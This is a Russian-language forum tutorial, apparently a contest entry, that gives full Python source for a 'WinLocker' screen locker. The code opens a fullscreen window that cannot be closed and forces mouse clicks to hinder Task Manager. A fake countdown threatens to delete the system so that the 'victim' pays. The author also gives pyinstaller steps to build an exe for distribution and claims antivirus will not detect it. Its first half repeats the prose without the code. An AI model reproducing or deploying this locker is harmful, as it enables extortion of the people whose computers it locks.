Всем привет! В этой статье мы с вами напишем локер для компьютера,на базе Windows или UNIX систем. Наша программа будет блокировать систему пользователя,пока он не введет пароль.В простонародье данный вирус называют "WinLocker"
Установка Python
Переходим на официальный сайт PythonА - ТЫК. Скачиваем последнюю версию и устанавливаем ее.
Суть работы программы
Наш вирус будет работать по такому принципу. Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль,мышка будет постоянно кликать на кнопку,и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле,он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись - "Удаление системы" Вот и вся суть программы)
Начинаем кодить
#Комментарии к коду будут помечены #комментарий
Для написания вы можете использовать обычный IDLE от питона,или любой другой.
Для начала мы должны к нашей программе подключить нужные нам библиотеки. Библиотека - написанные коды/функции,которые подключаются к нашей программе.
Но при запуске нам выдаст ошибку,указывающую на отсутствие библиотек pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)
Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля.
Сначала создаем функцию блокировки компьютера.
Теперь мы создаем функцию, которая проверяет, введен ли правильный пароль.
Дальше мы должны создать окно нашего локера,которое откроется на весь экран.
Теперь мы создадим объекты для нашей программы - кнопку,поле для ввода и надписи.
ТЫК. Музыка/сообщение должно быть в формате .wav, можно использовать конвертеры.[/B]
Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода.
Компилируем в exe
При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу.
Смотрим видео!)
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i путь к иконке аргумент,который подключит к программе иконку[/B]
Смотрим видео!)
После в папке dist появится наш код скомпилированный в EXE. У него есть 2 минуса.
Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - сложно убить процесс. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.
Установка Python
Переходим на официальный сайт PythonА - ТЫК. Скачиваем последнюю версию и устанавливаем ее.
Суть работы программы
Наш вирус будет работать по такому принципу. Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль,мышка будет постоянно кликать на кнопку,и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле,он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись - "Удаление системы" Вот и вся суть программы)
Начинаем кодить
#Комментарии к коду будут помечены #комментарий
Для написания вы можете использовать обычный IDLE от питона,или любой другой.
Для начала мы должны к нашей программе подключить нужные нам библиотеки. Библиотека - написанные коды/функции,которые подключаются к нашей программе.
Python:
from tkinter import * #говорим питону с библиотеки tkinter импортировать все
import pyautogui #говорим питону импортировать библиотеку pyautogui
import pygame #говорим питону импортировать библиотеку pygame
Python:
read1ng=" " #переменная, в которой будет храниться введенный пользователем пароль
password=("vlmi") #переменная с паролем от локера, можно установить что-то свое
t1me=7200 #переменная с временем таймера в секундах.
d3l="Удаление системы..." # переменная для отображения на экране текстового сообщения
Сначала создаем функцию блокировки компьютера.
Python:
def block(): #создаем функцию, которая называется block
pyautogui.click(x=675,y=405) #делаем клик по координатам X и Y
pyautogui.moveTo(x=675,y=405) #переводим мышку в позицию координат X и Y
screen.protocol("WM_DELETE_WINDOW",block) #Запрещаем использование комбинаций F4/alt+F4/Fn+F4, и при их использовании вызывает функцию block
screen.update() #переменную с нашим экраном мы обновляем.
Python:
ef password_check(event): #создаем функцию, которая называется password_check, и имеет аргумент event
global read1ng #создаем глобальную переменную read1ng.
read1ng=field.get() #переменной read1ng мы присваиваем значение,которое мы считаем(.get) с поля для ввода(field).
if read1ng==password: #создаем условие,если переменная read1ng равняется переменной password,то:
screen.destroy() #окно программы(screen) мы уничтожаем/закрываем
Python:
screen=Tk() #screen - это просто название переменной. Которой мы присваиваем ему создания окна приложения
screen.title("WinLock vlmi.su") #задаем нашему окну название/заголовок.
screen.attributes("-fullscreen",True) #задаем окну атрибут - "на весь экран",который является правдой/активным.
screen.configure(background="#1c1c1c") #устанавливаем фоновой цвет на наше окно.
pyautogui.FAILSAFE=False #отключение остановки библиотеки autogui при дерганьи мышки. Если не включить это, то при дергание мышки pyautogui просто прекратит выполнять все действия.
Python:
field=Entry(screen,fg="green",justify=CENTER) #создаем переменную,которая равняется полю для ввода,которое расположено на нашем окне(screen),цвет для текста - зеленый, текст будет по центру.
but=Button(screen,text="Разблокировать") #создаем переменную,которая равняется кнопке,которая расположена на нашем окне(screen),и имеет на себе надпись("Разблокировать")
text0=Label(screen,text="Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c") #создаем переменную,которая равняется надписи,имеет свой текст, шрифт и размер, цвет текста фона.
text=Label(screen,text="Danaforevr для конкурса VLMI.SU",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c") #тоже самое,что и выше
text1=Label(screen,text="Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c") #тоже самое,что и выше
l=Label(text=t1me,font="Arial 22",fg="red",bg="#1c1c1c") # так же как и выше,только здесь текст равен переменной(t1me),которая стоит у нас в начале и имеет значение 7200.
l1=Label(text="До удаления системы осталось:",fg="white",bg="#1c1c1c",font="Arial 15") #простая надпись как и выше
Python:
[B]pygame.init() #мы запускаем код с библиотеки, которую мы импортировали.
aud=pygame.mixer.Sound("message.wav") #создаем переменную которая являться подключением звукового файла,который называется message.wav
aud.play() #запускаем нашу переменную на воспроизведение.
Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода.
Python:
screen.update() #переменную с нашим экраном мы обновляем.
pyautogui.click(x=675,y=325) #делаем клик по координатам X и Y
pyautogui.moveTo(x=660,y=410) #переводим мышку в позицию координат X и Y
Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.
while read1ng!=password: #запускаем цикл,который работает пока переменная read1ng не равняется переменной password
l.configure(text=t1me) #изменяем конфигурацию переменной l, а точнее - меняем значение text="" на переменную t1me
screen.after(300) #делаем задержку в 300 миллисекунд.
if t1me==0: #условие,если переменная t1me равна 0, то :
t1me=d3l #переменной time присваивается переменная d3l
#Это нам нужно для работы с таймером, если таймер дойдет до нуля,отчет должен просто остановится. В нашем случае вывести текст про удаление системы.
if t1me!=d3l: #условие,если переменная t1me равна переменной d3l, то :
t1me=t1me-1 #переменная t1me равна переменной time от которой отняли 1
block() #вызываем функцию block , она у нас в самом начале
#Это все будет повторяться, пока пользователь не введет правильный пароль.
При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу.
Смотрим видео!)
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i путь к иконке аргумент,который подключит к программе иконку[/B]
Смотрим видео!)
После в папке dist появится наш код скомпилированный в EXE. У него есть 2 минуса.
- Большой вес, исправить можно удалив голосовое сообщение,и заодно отключить импорт pygame.
- Долгий запуск, это происходит из за сбора всех файлов в один. Наш exe можно назвать архивом, который распаковывается в временную папку. Этого можно избежать не собирая все в один файл.
Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - сложно убить процесс. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.